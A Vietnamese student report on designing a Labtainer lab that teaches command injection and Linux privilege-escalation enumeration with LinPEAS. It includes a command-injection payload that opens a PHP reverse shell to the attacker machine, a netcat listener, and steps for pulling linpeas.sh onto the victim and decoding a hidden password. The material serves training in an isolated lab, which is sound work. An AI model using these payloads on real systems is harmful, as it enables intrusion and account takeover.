1. Trang chủ
  2. » Giáo Dục - Đào Tạo

báo cáo xây dựng bài lab trung bình linpeas

28 2 0
Tài liệu đã được kiểm tra trùng lặp

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Nội dung

• Trên máy attacker khởi động netcat lắng nghe tại cổng bất kỳ chú ý không trùng với các cổng mà dịch vụ đang chạy sudo mv sudo systemctl restart apache2 Task 3 : Thực thi linpeas.sh t

Trang 1

BỘ THÔNG TIN VÀ TRUYỀN THÔNG

HỌC VIỆN CÔNG NGHỆ BƯU CHÍNH VIỄN THÔNG

-o0o -

BÁO CÁO XÂY DỰNG BÀI LAB TRUNG BÌNH LINPEAS

Nhóm: 9 Thành viên:

Đàm Văn Trung – B19DCAT198 Trịnh Công Toàn – B19DCAT162 Phạm Văn Thanh – B19DCAT174 Trần Tuấn Anh – B19DCAT010

Môn học: Chuyên đề an ninh mạng Giảng viên hướng dẫn: TS Đinh Trường Duy

Hà Nội - 2023

Trang 2

2 Phân tích, thiết kế bài thực hành 6

2.1 Phân tích yêu cầu bài thực hành 6

2.2 Thiết kế bài thực hành 7

3 Cài đặt và cấu hình các máy ảo 12

4 Thử nghiệm và đánh giá 14

5 Hướng dẫn tải bài thực hành từ Imodule và module chấm điểm 24

TÀI LIỆU THAM KHẢO 27

Trang 3

BẢNG PHÂN CÔNG CÔNG VIỆC

Build checkwork Phạm Văn Thanh,Trần Tuấn Anh

DANH MỤC CÁC HÌNH VẼ VÀ BẢNG

Cấu hình cho việc cá nhân hóa 10

Cấu hình cho kiểm tra kết quả 10

Config goal 11

Kết quả chấm điểm 11

Hình 1 1 Sơ đồ thiết kế bài thực hành 7

Hình 1 2 Docker file máy attacker 12

Hình 1 3 Docker file máy victim 13

Hình 1 4 Config mạng 13

Hình 1 5 Cấu hình fixlocal 14

Hình 1 6 Xem thông tin mạng LAN 14

Hình 1 7 Quét các máy trong mạng LAN 15

Hình 1 8 Quét các dịch vụ thấy cổng 80 đang mở 15

Hình 1 9 Checkwork 15

Hình 1 10 Truy cập web đã cho trước bằng firefox 16

Trang 4

Hình 1 11 Phát hiện lỗ hổng command injection 16

Hình 1 12 Khởi động netcat lắng nghe ở cổng 1234 17

Hình 1 13 Tạo 1 reverse shell kết nối đến máy attacker 17

Hình 1 14 Kết nối thành công đến victim 18

Hình 1 15 Checkwork 18

Hình 1 16 Di chuyển file linpeas.sh đến thư mục của apache2 18

Hình 1 17 Khởi động lại dịch vụ apache2 18

Hình 1 18 Tải file linpeas.sh từ máy attacker về 19

Hình 1 19 Thêm quyền thực thi 19

Hình 1 20 Thực thi file linpeas.sh và ghi kết quả vào file text 19

Hình 1 21 Đọc file result.txt 20

Hình 1 22 Thông tin về nhóm người dùng, nhóm người dùng 20

Hình 1 23 Thông tin về thư mục người dùng 21

Hình 1 24 Thông tin về file password 21

Hình 1 25 Thông tin về file ẩn 21

Hình 1 26 Đọc thông tin file ẩn 22

Hình 1 27 Checkwork 22

Hình 1 28 Chỉnh sửa chương trình python để giải mã mật khẩu 22

Hình 1 29 Tiến hành decode 2 lần lấy được plain text 22

Hình 1 36 Giải nén file imodule 25

Hình 1 37 Copy vào thư mục labtainer/trunk/labs 25

Trang 5

1 Nội dung và hướng dẫn thực hiện bài thực hành 1.1 Mục đích

− Giúp sinh viên hiểu được comand injection và tìm hiểu cách sử dụng LinPEAS để liệt kê mức leo thang đặc quyền trên mục tiêu Linux…

1.2 Yêu cầu đối với sinh viên

− Có kiến thức cơ bản về hệ điều hành Linux, có kiến thức cơ bản về lỗ hổng command injection

Sau khi khởi động xong hai terminal ảo sẽ xuất hiện, một cái là đại diện cho máy

tấn công: attacker, một cái là đại diện cho máy nạn nhân: victim Biết rằng 2 máy nằm

cùng mạng LAN

Task 1 : Xác định địa chỉ IP và các dịch vụ bằng nmap

• Trên terminal attacker sử dụng lệnh “ifconfig”, xác định địa chỉ IP và địa chỉ

mạng LAN

Trên máy khách attacker sử dung nmap để tìm ra địa chỉ IP của máy victim vì

chúng cùng nằm trong mạng LAN

nmap –sP <IP mạng LAN>

Tiếp tục sử dụng nmap để tìm cổng dịch vụ đang mở trên máy victim

nmap <IP victim>

Task 2: Tạo 1 reverse shell kết nội đến máy attacker

Trang 6

• Sau khi xác định được cổng http đang mở Sử dụng firefox để truy cập vào trang web server

• Sau khi truy cập vảo trang web, thử lookup dns với nội dung google.com;

whoami và phát hiện trang web có lỗi command injection

• Trên máy attacker khởi động netcat lắng nghe tại cổng bất kỳ (chú ý không trùng với các cổng mà dịch vụ đang chạy)

sudo mv <file name> <directory>

sudo systemctl restart apache2

Task 3 : Thực thi linpeas.sh trên máy victim

• Trên reverse shell của máy victim thực hiện câu lệnh curl đến địa chỉ của máy attacker và tải file linpeas.sh xuống

• Đọc file này và quan sát (nội dung đã được mã hóa dưới dạng base64)

Task 4:Giải mã file hiddenpassword

• Trên máy attacker chứa file python có tên decode.py bạn hãy chỉnh sửa đoạn

code này để có thể giải mã nó ra cleantext.(có thể giải mã nhiều hơn 1 lần) • Sau khi chỉnh sửa đoạn code thì tiến hành giải mã :

python2 decode.py <string>

Trang 7

Task 5: ssh và đọc file bí mật:

• Sau khi giải mã và lấy được password, kết nối ssh đến máy victim và đọc file

tại thư mục /root

• Khởi động lại bài lab:

o Trong quá trình làm bài sinh viên cần thực hiện lại bài lab, dùng câu lệnh:

Để đáp ứng yêu cầu bài thực hành, cần cung cấp máy ảo chứa docker trong đó có 2 containers, mỗi container là một máy tính ảo chạy hệ điều hành Linux là máy tấn công và máy nạn nhân Để có thể thực hiện được việc rà quét lỗ hổng thì hệ thống cần cung cấp khả năng thiết lập một mạng LAN giữa máy chủ và máy khách, đồng thời cung cấp các thư viện cần cho máy tấn công và máy nạn nhân để sử dụng được dịch vụ ssh Trên máy tấn công cần cài đặt và sử dụng được công cụ nmap, máy chủ web

Trang 8

apache2, trình duyệt web firefox và công cụ netcat Hệ thống cần ghi lại được các thao tác sử dụng công cụ nmap, netcat của sinh viên thông qua các câu lệnh để tạo ra được kết quả đánh giá Hệ thống yêu cầu sinh viên nhập email gắn liền với danh tính của sinh viên, và ghi lại thao tác mở tệp phía máy chủ để thực hiện việc cá nhân hóa cho từng sinh viên

Để bắt đầu bài thực hành, sinh viên cần phải sử dụng các câu lệnh khởi tạo (startlab <tên bài lab>) và câu lệnh kết thúc (stoplab <tên bài lab>) để hệ thống chạy bài lab cũng như lưu lại kết quả

2.2 Thiết kế bài thực hành

Trên môi trường máy ảo Ubuntu được cung cấp, sử dụng docker tạo ra 2 container: 1 container mang tên “attacker” đóng vai trò máy khách và 1 container mang tên “victim” đóng vai trò máy chủ, 2 máy đều được mở các cổng cần thiết Hình 1.1 mô

tả sơ đồ thiết kế bài thực hành

Hình 1 1 Sơ đồ thiết kế bài thực hành

- Tạo mạng LAN “INTRANET” có cấu hình: 192.168.1.0/24 và gateway:

Trang 9

▪ Địa chỉ trong mạng LAN: 192.168.1.2 ▪ Gateway: 192.168.1.254

● config: lưu cấu hình hoạt động của hệ thống

● dockerfiles: mô tả cấu hình của 2 container: attacker và victim, trong đó: ▪ attacker: openssl openssh-server openvpn wget tcpdump update-inetd xinetd: sử dụng các thư viện mặc định hệ thống cùng với cấu hình NETWORK trong đó đã cài sẵn các dịch vụ, chương trình: openssl openssh-server openvpn wget tcpdump update-inetd xinetd Ngoài ra cần phải cài thêm công cụ netcat, trình duyệt firefox và máy chủ web apache2

▪ victim: sử dụng các thư viện mặc định hệ thống cùng với cấu hình NETWORK trong đó đã cài sẵn các dịch vụ, chương trình: openssl openssh-server openvpn wget tcpdump update-inetd xinetd ● docs: lưu phần mô tả hướng dẫn làm bài thực hành cho sinh viên

▪ Các nhiệm vụ cần phải thực hiện để thực hành thành công:

✔ Sử dụng câu lệnh “ifconfig” để kiểm tra địa chỉ mạng LAN của máy “attacker”

✔ Trên máy “attacker” sử dung nmap để tìm ra các máy trong mạng và từ đó quét các cổng dịch vụ của máy “victim”

✔ Sau khi xác định được cổng http đang mở Sử dụng firefox để truy cập vào web đang chạy trên máy “victim”

✔ Tại máy “attacker”, dung công cụ netcat để chờ kết nối từ máy “victim”

✔ Sau khi truy cập được vào web đang chạy trên máy “victim” thì thực hiện cuộc tấn công command injection, tạo revershell từ máy “victim” kết nối đến máy attacker

✔ Trên máy “attacker”, di chuyển file linpeas.sh có sẵn vào thư mục của máy chủ web apache2 và khởi động lại dịch vụ này

Trang 10

✔ Từ reverse shell trên máy “attacker”, thực hiện câu lệnh curl để tải file linpeas.sh từ máy chủ web của máy “attacker” về máy “victim”

✔ Tiếp tục thực hiện thêm quyền thực thi cho file linpeas.sh vừa mới tải về

✔ Thực thi file linpeas.sh và lưu kết quả khi thực thi vào file text ✔ Đọc file kết quả và tìm được thư mục ẩn chứa thông tin mật

khẩu

✔ Đọc file ẩn chứa mật khẩu vừa tìm được và tiến hành giải mã nội dung đã được mã hóa trong file bằng 1 chương trình python ✔ Sau khi giải mã thành công thì thực hiện kết nối ssh đến máy

“victim” và đọc file ẩn

✔ Kết thúc bài lab và đóng gói kết quả

● instr_config: lưu cấu hình cho phần nhận kết quả và chấm điểm

- Thiết lập hệ thống mạng sao cho máy tấn công và máy nạn nhân cùng một mạng LAN

- Các thư viện cần cho máy tấn công và máy nạn nhân để sử dụng được dịch vụ ssh

- Máy nạn nhân cần cài dịch vụ web, ssh

o Tạo ra file ẩn chứa mật khẩu đã mã hóa hidden_password.txt và file cá nhân hóa filetoview.txt

- Máy tấn công cần được cài công cụ nmap, netcat, dịch vụ apache2, trình duyệt firefox

● Tạo ra tệp trên máy tấn công mang tên linpeas.sh, decode.py

● Để hoàn thành bài thực hành, cần thực hiện được các câu lệnh nmap, netcat, thực thi file linpeas.sh để tìm và giải mã thông tin nhạy cảm và sử dụng được dịch vụ ssh để truy cập vào máy nạn nhân

● Sau khi hoàn thành bài thực hành, hệ thống cần tự động lưu lại kết quả vào 1 file

Trang 11

- Để đánh giá được sinh viên đã hoàn thành bài thực hành hay chưa, cần chia bài thực hành thành các nhiệm vụ nhỏ, mỗi nhiệm vụ cần phải chỉ rõ kết quả để có thể dựa vào đó đánh giá, chấm điểm Do vậy, trong bài thực hành này hệ thống cần ghi nhận các thao tác, sự kiện được mô tả và cấu hình như bảng 1.1, 1.2, 1.3:

Cấu hình cho việc cá nhân hóa

Param ID

Operator File name Symbol Hashed string Step

FSTRING

HASH_REPLACE

victim:/root/filetoview.txt

ROOT_STRING

myhashstring 1

Cấu hình cho kiểm tra kết quả

Result Tag

Container File Field Type Field ID Timestamp Type

Nmapscan attacker nmap.stdout CONTAINS

80/tcp file

connected attacker nc.stdout CONTAINS

Connection received on 192.168.1.2

file

excute_linpeas

attacker nc.stdout CONTAINS

AndreaSterbini:zuUMZlkXvUR6Y

file

decoded attacker python2.stdout

CONTAINS

Password of

{msfadmin} !

file

Trang 12

view_secret_file

attacker ssh.stdout TOKEN:4:STARTSWITH

My string is:

matchany String_equal View_secret_file Parameter FSTRING

● Sau khi nhận được file đóng gói từ sinh viên, giảng viên sử dụng chức năng chấm điểm để xem kết quả được thiết kế dạng bảng trong đó ghi rõ email của sinh viên thực hiện, từng tiêu chí chấm điểm được ghi nhận ( nếu có chữ “Y” là đã hoàn thành, nếu không có là chưa hoàn thành) và kết luận là sinh viên đã hoàn thành bài thực hành đó hay chưa Kiểm tra bài thực hành đúng do sinh viên làm bằng cách kiểm tra email

Kết quả chấm điểm

Student Viewfile

Nmap_scan Connected

Excute_linpeas

Decoded

Email của sinh viên

thành)

Trang 13

3 Cài đặt và cấu hình các máy ảo

Cấu hình file máy ảo:

Hình 1 2 Docker file máy attacker

Cần cài thêm công cụ netcat, trình duyệt firefox, dịch vụ apache2

Trang 14

Hình 1 3 Docker file máy victim

Hình 1 4 Config mạng

Trang 16

Hình 1 7 Quét các máy trong mạng LAN

nmap 192.168.1.2

Hình 1 8 Quét các dịch vụ thấy cổng 80 đang mở

Hình 1 9 Checkwork

Trang 17

Truy cập http://192.168.1.2/mutillidae/index.php?page=dns-lookup.php

Hình 1 10 Truy cập web đã cho trước bằng firefox

Thử với google.com; whoami

Hình 1 11 Phát hiện lỗ hổng command injection

Trang 18

nc -lnvp 1234

Hình 1 12 Khởi động netcat lắng nghe ở cổng 1234

google.com ; php -r '$sock=fsockopen("192.168.1.1",1234);shell_exec("sh <&3 >&3 2>&3");'

Hình 1 13 Tạo 1 reverse shell kết nối đến máy attacker

Trang 19

Hình 1 14 Kết nối thành công đến victim

Hình 1 15 Checkwork

Hình 1 16 Di chuyển file linpeas.sh đến thư mục của apache2

sudo mv linpeas.sh /var/www/html sudo systemctl restart apache2

Hình 1 17 Khởi động lại dịch vụ apache2

Trang 21

cat result.txt

Hình 1 21 Đọc file result.txt

Hình 1 22 Thông tin về nhóm người dùng, nhóm người dùng

Trang 22

Hình 1 23 Thông tin về thư mục người dùng

Hình 1 24 Thông tin về file password

Hình 1 25 Thông tin về file ẩn

Trang 23

cat /home/ubuntu/.hiddenpassword.txt

Hình 1 26 Đọc thông tin file ẩn

Hình 1 27 Checkwork

Hình 1 28 Chỉnh sửa chương trình python để giải mã mật khẩu

Hình 1 29 Tiến hành decode 2 lần lấy được plain text

Trang 25

5 Hướng dẫn tải bài thực hành từ Imodule và module chấm điểm

Tải imodule chứa bài thực hành về máy ảo labtainer : Có thể clone về trong máy bằng git

git clone https://github.com/congtoan123/ANM

Hình 1 34 git clone

Hoặc tải trực tiếp về rồi đưa vào máy ảo labtainer

Hình 1 35 Tải từ trình duyệt

Giải nén imodule.zip

Trang 26

Hình 1 36 Giải nén file imodule

Sau khi giải nén :

Hình 1 37 Copy vào thư mục labtainer/trunk/labs

Tiến hành cope file vào thư mục /labtainer/trunk/labs

Trang 27

Hình 1 38 labtainer linpeas

Hình 1 39 gradelab linpeas -w

Hình 1 40 localhost:8008

Trang 28

Hình 1 41 Tạo thành công file csv từ file json

Hình 1 42 File csv

TÀI LIỆU THAM KHẢO

[1] C Security, "Lab 86 – How to enumerate for privilege escalation on a Linux target with

https://www.101labs.net/comptia-security/lab-86-how-to-enumerate-for-privilege-escalation-on-a-linux-target-with-linpeas/

Ngày đăng: 05/07/2024, 14:03

TỪ KHÓA LIÊN QUAN

w